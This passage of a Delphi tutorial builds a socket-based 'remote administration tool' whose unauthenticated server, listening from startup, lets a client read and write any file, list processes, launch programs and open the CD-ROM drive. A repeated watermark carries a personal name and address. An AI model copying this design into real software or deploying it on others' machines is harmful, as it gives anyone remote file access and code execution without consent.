  Button1.Enabled := False;
  Button2.Enabled := True;
end;
```

The Enabled property disables or enables the component accordingly (you'll see at runtime). Our Disconnect Button:

```
procedure TForm1.Button2Click(Sender: TObject);
begin
  ClientSocket1.Active := False;
end;
```

That will disconnect from the connection. ClientSocket has an event called OnDisconnect which unsurprisingly is fired when we disconnect:

```
procedure TForm1.ClientSocket1Disconnect(Sender: TObject;
  Socket: TCustomWinSocket);
begin
  Label1.Caption := 'Disconnected';
  Button1.Enabled := True;
  Button2.Enabled := False;
end;
```

Now for our Edit2. Create an OnKeyDown event for it and do:

Allowed to use: Christopher Rainbird, Plymouth, Devon, PL8 1DY, UK

```
  procedure TForm1.Edit2KeyDown(Sender: TObject; var Key: Word;
    Shift: TShiftState);
  begin
    if (Key = VK_RETURN) then
      begin
        ClientSocket1.Socket.SendText(Edit2.Text);
      end;
  end;
```

This event will be fired each time you press a key while you're cursor is in the Edit2 box, and each time it will check this condition: **if** (Key = VK_RETURN) - That will only execute what's between its **begin** and **end**; if the key is VK_RETURN – which is a Virtual Key Code for the Enter Key. So we're saying if you press enter while your cursor is in the Edit2 box, then send the text in the Edit2 box to the host we're connected to. ClientSocket1.Socket.SendText() does this.

THE SERVER:

Place a Button and a Label on your Form. Set the ServerSocket's Port property to '55555' – it needs to be the same port as your Client's. Change your Label's Caption to: 'Not serving at the moment', and change your Button's Caption to: '&Listen for connections'.

OK, now create the OnClick event handler for your Button and do:

```
  procedure TForm1.Button1Click(Sender: TObject);
  begin
    ServerSocket1.Active := True;
    Label1.Caption := 'Listening for connections.';
  end;
```

Here we are setting the ServerSocket's Active property to True which opens the Port you specified as listening. This is opposite to our ClientSocket's Active property which will try to connect to a host.

Create an OnClientRead event for your ServerSocket which will be fired when something is read from the client – when it receives some data from the client. Make it look like this:

```
  procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
    Socket: TCustomWinSocket);
  begin
    Label1.Caption := Socket.ReceiveText;
  end;
```

We are just assigning the Label's Caption with Socket.ReceiveText, which is a method which reads text received from the connection.

Right, now save your client in a separate folder (E.G: c:\client) and the server in another folder (E.G: c:\server). Compile each, and tests them out.

You will not be able to connect to the server unless it is listening, which you enable by clicking its Button. Now you can connect to it – whether it is on your computer or on a networked computer, just put in the IP of the machine it is on and click Connect. Type some text into the blank Edit box (our Edit2) and press enter. This will send it to the server which will display it using the Label Caption.

Allowed to use: Christopher Rainbird, Plymouth, Devon, PL8 1DY, UK

MAIN SECTION.

In this section I will explain new things as they crop up, but topics covered in the beginner's section will not be covered in great detail. Each subheading will contain new functionality you can add to your application. Remember, I'm just giving you the information here of a way of how to do things. By all means expand on that, add your own ideas and program it to suit your own needs.

- PROGRAMMING OUR REMOTE ADMINISTRATION TOOL -

Open two copies of Delphi. We will use one for work on the Client side of our application and the other for work on our Server. Tab to your first copy of Delphi and change the Form's caption to 'Client – No Connection'. Now tab to the second copy of Delphi and change the Form's caption to 'Server'. When I refer to your Client, I will be talking about the copy of Delphi you have open with which you are working on the Client Form, and vice-versa.

Drop a ClientSocket component on your Client Form and drop a ServerSocket component on your Server Form. Set the Port of both sockets to the port you would like your application to run on. At this point, save both parts of your application in two separate folders.

THE CLIENT:

Place an Edit, a Memo, and two Buttons on your Form. Change the name of your Edit to 'IPBox' and you could change its Caption to the IP of the machine you will be connecting to in testing (maybe: 127.0.0.1). Your first Button's Caption should be changed to '&Connect' and the second: '&Disconnect'.

Put this in your Forms OnCreate Event:

```
  Memo1.Clear;
```

That's because by default our Memo will have 'Memo1' written in it. We don't need that displayed so we'll remove it when our application starts.

Lets make our Connect Button do something. We want to use exception handling here with the **try..except**, because if the user puts in something that is not an IP, Windows will display an error. So put this in your OnClick event:

```
  try
    ClientSocket1.Address := IPBox.Text;
    ClientSocket1.Active  := True;
  except
    Memo1.Lines.Add('** Error Connecting.');
  end;
```

I like the idea of changing for Form's caption when you connect like this (OnConnect event):

```
  Form1.Caption := 'Client - Connection Established';
```

And for the OnDisconnect: Form1.Caption := 'Client - No Connection'; You could also add a line to your Memo if you like (in the same way as Tron does).

Allowed to use: Christopher Rainbird, Plymouth, Devon, PL8 1DY, UK

Really, you just need a way of knowing when you've connected and disconnected. You want your Disconnect Button to actually disconnect from the host by using this code: ClientSocket1.Active := False;

If you like, you could add a line to the Memo saying 'Connecting..' or something. Just do this in the ClientSocket OnConnecting event.

Now if your Client can not connect to the server for whatever reason, the OnError ClientSocket event will be fired. Now if you haven't created this event you'll get the old Windows message box which we want to avoid really. If you do this in the OnError event..:

```
  Memo1.Lines.Add('** Error: ' + IntToStr(ErrorCode));
  ErrorCode := 0;
```

..Then what's called an ErrorCode will be added to the Memo instead. An ErrorCode is just a generated code from which the code number indicates the type of error which occurred. Setting the ErrorCode to 0 as we have done on line two, stops the Windows error message popup.

Another idea is to disable your Disconnect Button (Enabled property set to False) at design-time and then enable it when you connect. You can find an example of this in the Client section of: CREATING A CLIENT/SERVER APPLICATION (BEGINNERS SECTION).

THE SERVER:

Remember to set your Server Port to the same as your Client Port. Now if you change the ServerSocket Active property to True here, at runtime your server will start serving (listening for connections) the minute you run it. So do that and then compile each side of your application and test. OK it won't do much, but it allows you to make sure you've coded it correctly. To follow are a list of features you can include in your application. Work through them in their order.

- HOW TO DOWNLOAD A FILE FROM THE SERVER -

THE CLIENT SIDE:

Place two Edit boxes, a Button, and a ProgressBar on your Form. You can find a ProgressBar under the Win32 tab of the Component Palette. Call (change the Name property) your first Edit 'ToDownload' and call your second Edit 'DownloadAs'. Clear each Text property.
You might want to put a couple of Labels on your Form to indicate which Edit box is which. Change the ProgressBar's name to PBar and change your Button's caption to 'D&ownload' (& before the o, because we already have &D). The Download Button's OnClick code:

```
  if ClientSocket1.Active then { If we're connected to a host }
    begin
      RemoteFile    := ToDownload.Text;
      StoredLocalAs := DownloadAs.Text;
      ClientSocket1.Socket.SendText('<REQSTFILE>' + RemoteFile);
    end;
```

You will need to declare RemoteFile and StoredLocalAs, as global string variables. Global, because later on we will be using them in other procedures. The SendText line will be sending something like this to the server: <REQSTFILE>c:\file.txt – I've used c:\file.txt as an example, but it should be plain to see that it is whatever RemoteFile has been assigned that will be sent.

Allowed to use: Christopher Rainbird, Plymouth, Devon, PL8 1DY, UK

THE SERVER SIDE:

Now you can’t just use ReceiveText here in the OnClientRead event of your ServerSocket. That only has the capability of receiving Text (strings) - we need to be able to receive other types of data aswell. If you make your ServerSocket’s OnClientRead event look like this:

```
  procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
    Socket: TCustomWinSocket);
  var
    Buf         : string;
    MsgLen,       {The comma is just a way of declaring two integers }
    LenReceived: integer;   {EG: int1,int2,int3: integer; }
  begin
{1} MsgLen := Socket.ReceiveLength;
{2} SetLength( Buf, MsgLen );
{3} LenReceived := Socket.ReceiveBuf( Buf[1], MsgLen );
{4} Buf := Copy( Buf, 1, LenReceived );
  end;
```

I’ll go through each line at a time corresponding to the numbered comments I’ve put in.

1. We are assigning MsgLen with the amount of bytes ready to be sent over the connection. We do this using the ReceiveLength function. Note that ReceiveLength is only approximate – we might receive less data than ReceiveLength returned.

2. Will are going to need a buffer (place in memory to store the incoming data) big enough to store the incoming data. We do this by setting the string length of our Buf by the size of the data it is about to receive.

3. Here we are using the ReceiveBuf function to read up to the second parameter amount of bytes into Buf. The second parameter (MsgLen) indicates how big the Buf is. This function also returns how many bytes were actually read, so LenReceived will equal this amount.

4. This will make sure the Buf string is only as big as necessary. Say ReceiveLength returned 80 bytes about to be sent - then the Buf length would be set to 80 through point 2 there. We might only have received 60 bytes here in one go, and our LenReceived will hold an integer value of this amount we have received. We just need to trim off any excess Buf length with Copy(), copying from 1 (beginning of Buf) to the length of the data actually received (LenReceived).

‘Buf’ will contain the data that has arrived. In this case Buf will equal: <REQSTFILE>c:\file.txt – if there was a ‘c:\file.txt’ typed into our Client’s ToDownload Edit and our Download Button clicked.

All we need to do is run a check on that Buf to see if there’s our <REQSTFILE> in there. I’ve used that as like a tag so we can see what the Client wants us to do. Here’s how we could check:

```
  if Pos('<REQSTFILE>', Buf) = 1 then
    begin
      Delete(Buf, 1, 11); {Delete the tag: <REQSTFILE>}
      RequestedFile := Buf;
      SendClientFile;
    end;
```

Allowed to use: Christopher Rainbird, Plymouth, Devon, PL8 1DY, UK

Allowed to use: Christopher Rainbird, Plymouth, Devon, PL8 1DY, UK

Remember Pos() – It will return number 1 if it finds '<REQSTFILE>' in our Buf string – and so execute its code block beneath. Now, first we delete the tag from our Buf, which will leave it with just the file name. Then we assign a global string variable (which you will obviously have to declare) 'RequestedFile' with the contents of Buf. Then we call a procedure SendClientFile. This is going to be our own procedure and it will look like this:

```
procedure TForm1.SendClientFile;
var
  TheFileSize: integer;
  FS         : TFileStream;
begin
  if FileExists(RequestedFile) then                          {1}
  begin
    try
      FS := TFileStream.Create(RequestedFile, fmOpenRead); {2}
      FS.Position := 0;                                    {3}
      TheFileSize := FS.Size;                              {4}
      ServerSocket1.Socket.Connections[0].SendText         {5}
        ('<FILEONWAY>' + IntToStr(TheFileSize) + '|');
      ServerSocket1.Socket.Connections[0].SendStream(FS);  {6}
    except
      ServerSocket1.Socket.Connections[0].SendText         {7}
        ('<ERROROCRD>Can not send.');
    end;
  end
  else begin
    ServerSocket1.Socket.Connections[0].SendText           {8}
      ('<ERROROCRD>File does not exist.');
  end;
end;
```

It might look a little daunting at first glance, but I've labelled each of the statements with a number and to follow is an explanation:

1. This is just a shorter way of doing **if** FileExists(RequestedFile) = True **then**.. So we are checking if the RequestedFile exists.

2. This is how you create a TFileStream Object. You do it in much the same way as you create a TMemoryStream Object, however you need to create an instance of the file you are going to be working with at this point. You do this by passing the file name as the first parameter (RequestedFile in our case). The next parameter requires a mode of how we're going to be using this file. fmOpenRead is saying we want to open the file for reading only (we're not going to write anything to this file). If you check the help on TFileStream.Create - you can find a list of the other modes you can use.

3. Setting the Position property to 0 so we can work from the beginning of the TFileStream.

4. FS.Size returns the actual size of the our FS as an integer value and here we are assigning TheFileSize with that value. Notice I've called it TheFileSize and not FileSize, because FileSize is the name of a Delphi function. Be careful you don't call a variable a name reserved for a routine or a keyword.

5. This is how you send text from the ServerSocket as opposed to just ClientSocket1.Socket.SendText() as we can do on the Client side.

Allowed to use: Christopher Rainbird, Plymouth, Devon, PL8 1DY, UK

We are sending something like this string: <FILEONWAY>1080| - which will make more sense when we get back to our Client side (in a while).

6. This is how we send our TFileStream over the socket connection. Notice we haven't freed the FileStream. This is because the method: SendStream - will free the stream data when it has finished sending.

7. Don't forget we are in a **try..except** statement – So if anything goes wrong and an exception is raised, we will send an error message to the Client (we'll come to that later on the Client side).

8. This is the **else** of the **if** FileExists() condition. The program flow will be directed to here if the file does not exist.

By the way, don't forget to declare this procedure as normal.

BACK TO OUR CLIENT SIDE:

We need to write an OnRead event handler here to receive this file. First of all, we'll write a few statements to receive the data as we did in our OnClientRead event of the Server side:

```
procedure TForm1.ClientSocket1Read(Sender: TObject;
  Socket: TCustomWinSocket);
var
  Buf        : string;
  MsgLen,
  LenReceived: integer;
begin
  MsgLen := Socket.ReceiveLength;
  SetLength( Buf, MsgLen );
  LenReceived := Socket.ReceiveBuf( Buf[1], MsgLen );
  Buf := Copy( Buf, 1, LenReceived );
end;
```

At this point, I need to introduce a new concept. If you think of our Client as having 2 states (or settings): An idle state, and a receiving file state. At the moment our Client is in an idle state – doing nothing, just sitting around waiting for instruction. When it receives an instruction from the Server saying it is about to send it a file, it needs to change its state into a receiving file state.

You could think of it as having two switches, the switch being on a idle position - then the Server tells it it will be receiving a file, and so the switch is flicked into the receiving file position. Now how to implement this switch concept:

Under your **type** section, put this line:

```
type
  TClientStatus = (CSIdle, CSReceivingFile); {this line}
  TForm1 = class(TForm) {just before here}
```

Now in your **private** section (global variables), put this declaration:

```
  CState: TClientStatus;
```

OK, now what you want to do is, when your application starts, have your CState (Client state) set to idle. Add this line to OnCreate:

```
  CState := CSIdle;
```

Keeping with this concept, that will set out switch to idle.

NOTE: The names of the states could have been anything and so could CState or the type we defined: TClientStatus.

If you look back at your Server, you'll see the first thing it sends to us (to the Client) is this line:

```
  <FILEONWAY>23424|
```

I've put that number in there as an example. It will actually be sending the size of the file we have requested. So what we need to do is check for this <FILEONWAY> tag as we did on the Server side. Put this in your OnRead event (under the code already in there):

```
if Pos('<FILEONWAY>', Buf) = 1 then
begin
  try
{1} FS := TFileStream.Create(StoredLocalAs, fmCreate or fmOpenWrite);
{2} TheFileSize := StrToInt( Copy(Buf, 12, Pos('|', Buf)-12 ) );
{3} Delete(Buf, 1, Pos('|', Buf));
{4} PBar.Max := TheFileSize;
{5} CState   := CSReceivingFile;
  except
{6} FS.Free;
    Memo1.Lines.Add('** Error downloading file as ' + StoredLocalAs);
  end;
end;
```

You will need to declare TheFileSize as a global integer variable and FS as a global TFileStream variable, E.G:

```
  private
    { Private declarations }
    TheFileSize: integer;
    FS         : TFileStream;
```

We declare these global because otherwise each time our OnRead event is called (which will be a lot), they would be created (written to dynamic memory) which would be a lot of memory writing for no reason.

Again, I've referenced each statement:

1. We firstly create our TFileStream (FS) as our StoredLocalAs variable – remember the string variable we assigned the contents of our DownloadAs box. We are using the modes 'fmCreate **or** fmOpenWrite' which if you check the help is just saying create it, or if it already exists, open it for writing (so we will write over it).

2. We are then assigning the size part of the Buf: <FILEONWAY>**23424**| - The bit in bold, to TheFileSize. We do this through several routine calls as shown. Here's the break down:

  Currently Buf = '<FILEONWAY>**23424**|'

Remember the Copy() function? – We are saying copy from 12 (which if you count, 12 is the first character of our size bit) to the index of '|' (which Pos() returns) – 12. In the example here, Pos() would return 17 as that's the index of '|', count it.

Allowed to use: Christopher Rainbird, Plymouth, Devon, PL8 1DY, UK

Now, Copy() copies from an Index then up to a number of characters specified. So if we left it like this it would copy from 12 and then try to count 17 steps forward in the string. Well we need to minus the length of '<FILEONWAY>' which is 11, and don't forget the '|' which makes it minus 12. So now, the second parameter we are passing here to Copy() is the amount of characters in the size bit (bit in bold) of our string.

Finally, we just take the whole result and pass it to StrToInt so we are left with an integer value.

If you're wondering why we used the '|' symbol on the end and not just do Length(Buf) to get the last parameter of Copy() - this is because although the Server is sending this string, then sending the data of the file, we might receive this string and a chunk of the file data in one send. So we need something to reference. Here's an example of what we might receive from the Server:

```
  <FILEONWAY>23424|%1*01%%11*%101*1%%10*
```

The bit in bold there is just my way of showing file data. You see we could receive a chunk like that all at once.

4. That's setting the Max property of our PBar to the size of the file we're about to receive. If you don't know what a ProgressBar is, you will know when you run your Client, so don't worry for now.

5. Now we set our switch to CSReceivingFile (come to in a minute).

6. If anything goes wrong, free the stream and let the user know.

Now that we have set our CState switch to CSReceivingFile, we need to write some code the will receive and write the file. Still working with our OnRead event of your ClientSocket, put in this code:

```
  case CState of                                    {1}
    CSReceivingFile:                                {2}
    begin
      try
        PBar.StepBy(Length(Buf));                   {3}
        FS.Write(Buf[1], Length(Buf));              {4}
        Dec(TheFileSize, Length(Buf));              {5}
        if TheFileSize = 0 then                     {6}
        begin
          CState := CSIdle;                         {7}
          FS.Free;
          PBar.Position := 0;
          Memo1.Lines.Add('** Downloaded! **');
          Buf := '';
        end;
      except
        Memo1.Lines.Add('Error writing file.');
      end;
    end;
  end;
```

You will now be able to compile both parts of your application and test it out. Just put the remote file you'd like to download in your ToDownload Edit (E.G: c:\file.txt), and where and under what name it will be download as in your DownloadAs Edit(E.G: c:\folder\file.txt). I've marked the lines which might need some explaining:

Allowed to use: Christopher Rainbird, Plymouth, Devon, PL81BY, UK

1. The **case** statement is kind of like an **if** statement. It is just saying if it’s the case of any conditions below it then enter that conditions code block.

2. Here we have our condition for our case statement. It ends in a colon and has a **begin** beneath to mark the start of its code block.

3. Here we are moving our PBar forward depending on how much data we have just received using the StepBy method.

4. We have already created our TFileStream (FS) so we don’t need to create it again. We just need to write to it the data received which Buf will hold. This is done using the .Write method. Now you might have noticed we have used our Buf string variable like an array here ‘Buf[1]’ – but a string variable is actually just like an array, I.E: you can put an index of the string in between braces and work with that character in the string (they are not zero based). We are actually just saying here Write from the first character in Buf, to the whole Length of the data in Buf (write all the data into FS).

5. The Dec() procedure just decrements either 1 or a value specified from a variable. Here we are specifying to minus the whole length of our Buf data from TheFileSize. We do this for the next point.

6. Remember TheFileSize equals the total file size of the file we are receiving. Each time through the OnRead (each time we receive some more data) we write it and then minus that about of data from TheFileSize with the Dec() procedure in point 5. Here we check if we have received all the data, I.E: if TheFileSize is 0.

7. We will be inside this code block when we have received all the data so it’s a place to rap everything up. Set the switch back to idle (CState := CSIdle) because we’re no longer receiving a file, free the TFileStream Object because we’re no longer working with it, set the Position of our PBar back to the beginning, and let the user know it has downloaded. It’s also a good idea to clear the Buf from memory by assigning it nothing ('').

It is a good idea to disable all your components while a file is being transferred. This way, the user will not be able to click another Button or try doing something else while the download is in progress. Trying to do something else for example: opening a CD-ROM while downloading would disrupt the information transfer and maybe cause errors. You would need to write a procedure to disable all your components and one to enable them all again, and then call them at the appropriate time. Here’s an example:

```
  procedure TForm1.DisableComponents;
  begin
    IPBox.Enabled := False;
    Memo1.Enabled := False;
    ToDownload.Enabled := False;
    DownloadAs.Enabled := False;
    Button3.Enabled := False;
  end;
```

As you add new components to your Client, don’t forget to add them to your DisableComponents procedure. Remember to add an EnableComponents (after you write this procedure of course) call in your OnError event aswell, because if something goes wrong, you don’t want to leave all your components disabled.

Allowed to use: Christopher Rainbird, Plymouth, Devon, PL8 1DY , UK

Allowed to use Christopher Painbird, Plymouth, Devon, PL8 1DY, UK

THE ERROR TAG:

Remember how our Server sends '<ERROROCRD>' when there's an exception raised and reports back what error has occurred – well we need to receive this and display the error. Here's our OnRead event of our Client:

```
  if Pos('<ERROROCRD>', Buf) = 1 then
  begin
    Delete(Buf, 1, 11);
    Memo1.Lines.Add('** Error: ' + Buf);
  end;
```

Put that after the last Pos() block of code, but before the **case** statement block. That's pretty straightforward.

Well there you have it - you can download a file from the Server. By the way, you might want to change your PBar's Smooth property to True but that's your call.

- HOW TO UPLOAD A FILE TO THE SERVER -

All you need to do here is reverse the whole download file routine. I'll briefly walk through it anyway – place another Button on your Form, its caption should be 'Upload' (use the & to create a shortcut if you like). Place two Edits on your Form, name one ToUpload and the other UploadAs. Here's your Button's OnClick:

```
  procedure TForm1.Button4Click(Sender: TObject);
  var
    LocalFile   : string;
    FS2         : TFileStream;
    TheFileSize: integer;
    UploadingAs: string;
  begin
    if ClientSocket1.Active then
      begin
        LocalFile   := ToUpload.Text;
        UploadingAs := UploadAs.Text;
        if FileExists(LocalFile) then
          try
            FS2 := TFileStream.Create(LocalFile, fmOpenRead);
            FS2.Position := 0;
            TheFileSize := FS2.Size;
            ClientSocket1.Socket.SendText('<UPLOADING>' + UploadingAs
              + '*' + IntToStr(TheFileSize) + '|');
            Memo1.Lines.Add('** Uploading file... **');
            ClientSocket1.Socket.SendStream(FS2);
          except
            Memo1.Lines.Add('** Error sending **');
          end
          else begin
            Memo1.Lines.Add('** Error: File does not exist.');
          end;
      end;
  end;
```

Now lets move to the server side, and put this code in your OnClientRead event (just underneath the last bit of code in there):

```
  if Pos('<UPLOADING>', Buf) = 1 then
    begin
      try
        StoreAs := Copy(Buf, 12, Pos('*', Buf)-12);
        FS2 := TFileStream.Create(StoreAs, fmCreate or fmOpenWrite);
        Index1       := (Length(Buf) - Pos('|', Buf))+1;
        LengthOfSize := Length(Buf) - Pos('*', Buf)-Index1;
        DataLength   := StrToInt(Copy(Buf, Pos('*', Buf)+1,
          LengthOfSize));
        Delete(Buf, 1, Pos('|', Buf));
        SState := SSReceivingFile;
      except
        FS2.Free;
        Socket.SendText('<ERROROCRD>Error uploading file.');
        SState := SSIdle;
      end;
    end;

case SState of
  SSReceivingFile:
  begin
    try
      FS2.Write(Buf[1], Length(Buf));
      Dec( DataLength, Length(Buf));
      if DataLength = 0 then
      begin
        SState := SSIdle;
        FS2.Free;
        Socket.SendText('<THERESULT>File Uploaded!');
      end;
      Buf := '';
    except
      Socket.SendText('<ERROROCRD>Error writing file.');
      FS2.Free;
      SState := SSIdle;
    end;
  end;
end;
```

It is very similar to what we had before with the download code. Just a couple of things: You'll need to declare the follow global variables:

```
    SState       : TServerStatus;
    StoreAs      : string;
    FS2          : TFileStream;
    DataLength   : integer;
    Index1       : integer;
    LengthOfSize : integer;
```

The SState is our switch, which you will need to declare in the **type** section as: TServerStatus = (SSIdle, SSReceivingFile);

We've done all this before. Just remember that the initialisation string we receive from the Client stating that we are about to upload a file is something like this: <UPLOADING>c:\file.txt*1231| - So we have the file name we are uploading it as, and the size. I've put in the '*' and the '|' as for Pos() references when breaking down the string. These characters have been used as Windows doesn't allow you to include these symbols in file names.

Allowed to use: Christopher Rainbird, Plymouth, Devon, PL8 1DY, UK

I'll run through how we break down the string and get the file name into StoreAs and the file size into DataLength.

OK, Buf will initially be something like (depending what file/size):

```
  <UPLOADING>c:\file.txt*1231|
```

Getting the file name out of Buf and into StoreAs is fairly simple so I'll move on to getting the size into the DataLength variable.

Firstly, we need to determine whether there is anything following the '|' – remember how I mentioned the send might not be separate – we could receive a chunk of the file data along with our tag string here in one go. We do this to find out:

```
  Index1 := (Length(Buf) - Pos('|', Buf))+1;
```

Index1 will now contain the length of any data after the '|' sign. Here is a demonstration (I've added the bold section for an example):

```
  Buf =   <UPLOADING>c:\file.txt*1231|%%*%*AbigChunkOfFileData%%*%*
```

The Length() of our Buf would return 57. The Pos() bit would return 28. 57 – 28 = 29, then add one for the '|' sign = 30, which is the size of the bit in bold. If we hadn't received any file data with our tag string, Index1 would just equal one (the +1 bit) for the '|'.

Now we need to get the actual length (how many characters) of the size bit into LengthOfSize. Check out that line, I'm sure you can work out what's going on there. Finally we get our size bit assigned to DataLength through using Pos(), Copy() and StrToInt().

Finally, remember on the Server side we send a tag saying <THERESULT> - you will need to write something for this like you did with the <ERROROCRD> - just to add the information to your Memo.

NOTE: We haven't used our PBar here for the upload.

- HOW TO GET A LIST OF PROCESSES RUNNING ON THE REMOTE MACHINE -

Now you might want to have a Button on your Form labelled 'List Processes', or as Tron does, have an Edit box with which you can type a command such as 'lp' and have a process list returned. Here's how:

THE CLIENT SIDE:

Place another Edit on your Form. This Edit is going to be our command box so to speak. Set the Name property to be CommandBox and delete the text in the Text property. Create an OnKeyDown event for your CommandBox and put in this code:

```
  if (Key = VK_RETURN) then                    { This should be pretty }
    begin                                      { clear really, just    }
      TheCommand := CommandBox.Text;           { remember to declare   }
      Memo1.Lines.Add(CommandBox.Text);        { TheCommand as a local }
      CommandBox.Clear;                        { string variable.      }
      if TheCommand = 'lp' then
        begin
          ClientSocket1.Socket.SendText('<LISTPROCE>');
        end;
    end;
```

Allowed to use: Christopher Rainbird, Plymouth, Devon, PL8 1DY, UK

THE SERVER SIDE:

The Server will firstly need to identify the tag <LISTPROCE>. Put this in your OnClientRead (just before the **case** block – well you could have put it after that or whatever, but I prefer to keep case blocks at the end of the event):

```
  if Pos('<LISTPROCE>', Buf) = 1 then
    begin
      ListProcesses;
    end;
```

We are calling a ListProcesses routine here, which we will need to write as follows (you will need to add 'TLHELP32' to your **uses** list):

```
  procedure TForm1.ListProcesses;
  var
    TheHandle: THandle; { Will contain a handle to running processes}
    TheData  : TProcessEntry32; { add TLHELP32 to your uses list }
    NumOfProc: integer;

  function GetName: string;  { As this is a function local to }
  var                        { this procedure you won't be    }
    AByte : Byte;            { calling it directly from your  }
  begin                      { TForm1, so you don't need to   }
    Result := '';            { declare it.                    }
    AByte  := 0;
    while TheData.szExeFile[AByte] <> '' do
      begin
        Result := Result + TheData.szExeFile[AByte];
        Inc(AByte);
      end;
  end;

  begin
    SLOfProcs := TStringList.Create;  { Create our SLOfProcs. }
    if SLOfProcs.Count <> 0 then  { if there are any strings in the }
      begin                       { list, then clear the list.      }
        SLOfProcs.Clear;
      end;
{1} TheHandle := CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0);
{2} if Process32First(TheHandle, TheData) then
      begin
{3}     SLOfProcs.Add(GetName);
{4}     while Process32Next(TheHandle, TheData) do
          SLOfProcs.Add(GetName);
      end
      else begin
        ServerSocket1.Socket.Connections[0].SendText
          ('<ERROROCRD>Can not list processes.');
      end;
{5} for NumOfProc := 0 to SLOfProcs.Count -1 do
    begin
      SLOfProcs[NumOfProc] := '<' + IntToStr(NumOfProc) + '>' + '  '
         + SLOfProcs[NumOfProc];
    end;
{6}  ServerSocket1.Socket.Connections[0].SendText
      ('<PROCELIST>' + IntToStr(Length(SLOfProcs.Text)) + '|' +
        SLOfProcs.Text);
  end;
```

Allowed to use: Christopher Painbird, Plymouth, Devon, PL8 1DY, UK

You will need to declare a global string list like this:

```
  SLOfProcs: TStringList;
```

Right, now that might look complicated, but I've commented bits and numbered the important points. Here's a list of the points:

1. We are assigning our THandle with what we call a snapshot of the running system processes at that time. We are doing this through an API call to a function CreateToolhelp32Snapshot().

2. Here we are calling this API to retrieve the first running process information. We pass it the handle of the created snapshot, and then pass it TheData. When we pass TheData which we have declared as a TProcessEntry32, we are kind of assigning TheData information about the first running process. We are doing an **if** statement, which the API function Process32First will return True if a snapshot has been successfully created and so we will enter its code block.

3. Here we call our function GetName which will return the path and exe name of the first process running and add it to our TStringList.

4. Here we loop through each process in the snapshot and call our GetName for each process. So we are getting all the rest of the processes paths and file names into our TStringList.

5. This is just assigning each process in the list a number inside the signs: < >. For example '<1> c:\windows\notepad.exe' for the first process in the list. The second process would have <2>... etc.

6. Finally, we send our TStringList containing the list of processes to the Client. We are also sending the size of the list here so the Client will know when it has received all the data.

BACK TO THE CLIENT SIDE:

Declare a global integer variable TheSizeOfList. This will be used to determine when we have received the whole list. Put this code in your OnRead event:

```
  if Pos('<PROCELIST>', Buf) = 1 then
  begin
    TheSizeOfList := StrToInt(Copy(Buf, 12, Pos('|', Buf)-12));
    Delete(Buf, 1, Pos('|', Buf));
    CState := CSReceivingProcList;
  end;
```

I'm going to call this kind of code a 'tag identifier' – so put your tag identifier code after the last tag identifier in your OnRead, but before your **case** block.

Firstly we snip out the size information and assign it to TheSizeOfList integer variable using Pos(), Copy() and StrToInt(). Then we delete the size information from the received data. Then we set our CState switch to CSReceivingProcList which you will have to add to your switches as follows (in your **type** section):

```
  TClientStatus = (CSIdle, CSReceivingFile, CSReceivingProcList);
```

Now we need to add our CSReceivingProcList switch to our **case** block. So far you will have something like this in your **case** section:

Allowed to use: Christopher Rainbird, Plymouth, Devon, PL8 1DY, UK

```
  case CState of

    CSReceivingFile:
    begin
      // code to receive the file
    end;

  end;
```

You will want to add this piece of code to receive the process list:

```
  CSReceivingProcList:
  begin
    Memo1.Lines.Add(Buf);
    Dec(TheSizeOfList, Length(Buf) );
    if TheSizeOfList = 0 then
      begin
        CState := CSIdle;
      end;
  end;
```

So we're just adding the list (Buf) to our Memo, then decrementing the amount we have received from TheSizeOfList, and if we have received it all set the switch back to CSIdle. And that's it. Compile both sides, type 'lp' in your CommandBox, press enter and watch the list returned.

- HOW TO SPAWN A PROCESS ON THE REMOTE MACHINE -

This feature will allow you to type something like 'sp c:\windows\notepad.exe' in your CommandBox, press enter, and have the Server machine spawn that process (open that program).

THE CLIENT SIDE:

Put this in your CommandBox's OnKeyDown:

```
  if Copy(TheCommand, 1, 2) = 'sp' then
    begin
      ClientSocket1.Socket.SendText('<SPAWNPROC>' +
        Copy(TheCommand, 4, Length(TheCommand)));
    end;
```

If the user types 'sp c:\program.exe' then this will be sent to the Server: '<SPAWNPROC>c:\program.exe'.

THE SERVER SIDE:

```
  if Pos('<SPAWNPROC>', Buf) = 1 then
    begin
      Delete(Buf, 1, 11);
      if ShellExecute(0, nil, PChar(Buf), nil, nil, SW_NORMAL) > 32
        then begin
          Socket.SendText('<THERESULT>Process Spawned: ' + Buf);
        end
        else begin
          Socket.SendText('<ERROROCRD>Error spawning process.');
        end;
    end;
```

Allowed to use: Christopher Rainbird, Plymouth, Devon, PL8 1DY, UK

You will need to put that tag identifier code in your ServerSocket OnClientRead event.

To spawn the process we use the ShellExecute API function. To use this you will need to add ShellAPI to your **uses** list. This function returns a number greater than 32 if it is successful, which means we just need to run an if greater than 32 then it was successful, else it means it wasn't.

As with all API routines you can gain useful information on the syntax and functionality from the Microsoft Developer Network: www.msdn.microsoft.com - search for ShellExecute for more information on using this API function.

- HOW TO OPEN AND CLOSE THE CD-ROM OF THE REMOTE MACHINE -

Here we will use a Button with its Caption set to '&Open CD-ROM', and when clicked will open the CD-ROM of the Server machine. The Button's caption will change to 'C&lose CD-ROM' when clicked, so if it is clicked a second time, it will close the Server machine's CD-ROM. Note that I haven't used: &Close – because our connect Button already has the &C shortcut (that is, if you changed your Connect Button's Caption to '&Connect').

Although I am showing you how to implement these features my way (in the same way as Tron if you have used it), feel free to implement them how you like. That said, place a Button on your Form and change its caption to '&Open CD-ROM'. Here is the OnClick event for this Button:

```
procedure TForm1.Button5Click(Sender: TObject);
begin
  if ClientSocket1.Active then
  begin
    if Button5.Caption = '&Open CD-ROM' then
    begin
      ClientSocket1.Socket.SendText('<OPENCDROM>');
      Button5.Caption := 'C&lose CD-ROM';
    end
    else begin
      ClientSocket1.Socket.SendText('<CLOSECDRM>');
      Button5.Caption := '&Open CD-ROM';
    end;
  end;
end;
```

Note that this is my 5th Button, therefore Button5.Caption. Don't forget to adjust to suit your own application. That's self-explanatory so lets write our Server's OnClientRead tag identifier code:

```
if Pos('<OPENCDROM>', Buf) = 1 then
  begin
    OpenCD;
  end;
```

That's the bit to identify the Client wants us to open the CD-ROM. It is calling a routine to do just that, which looks like this:

Allowed to use: Christopher Rainbird, Plymouth, Devon, PL8 1DY, UK

```
procedure TForm1.OpenCD;
begin
  if mciSendString('set cdaudio door open wait', nil, 0, handle)= 0
  then begin
    ServerSocket1.Socket.Connections[0].SendText
